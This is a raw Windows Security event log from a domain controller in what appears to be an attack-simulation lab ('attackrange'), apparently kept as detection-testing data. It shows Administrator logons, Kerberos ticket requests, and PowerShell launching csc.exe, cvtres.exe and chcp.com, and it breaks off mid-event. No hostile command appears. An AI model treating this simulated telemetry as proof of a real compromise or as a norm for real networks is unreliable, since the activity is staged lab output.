Logon -OpCode=Info -RecordNumber=257544 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527C53 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257543 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527C53 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257542 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257541 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257540 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257539 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1168 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\5zjup4lc.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257580 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52B7B5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257579 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52B7B5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257578 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257577 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257576 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257575 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc54 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x86c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES12FB.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC40EF71594FFA4420A1C6596D7930772.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257574 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\uchhrvzw.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52A9F2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257572 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52A9F2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257571 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257570 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A296F65B-4310-0B93-4838-CBFA2DB22B54} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257569 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257568 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257625 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52E8DC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257624 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52E8DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257623 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257622 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257621 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257620 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x370 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257619 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: 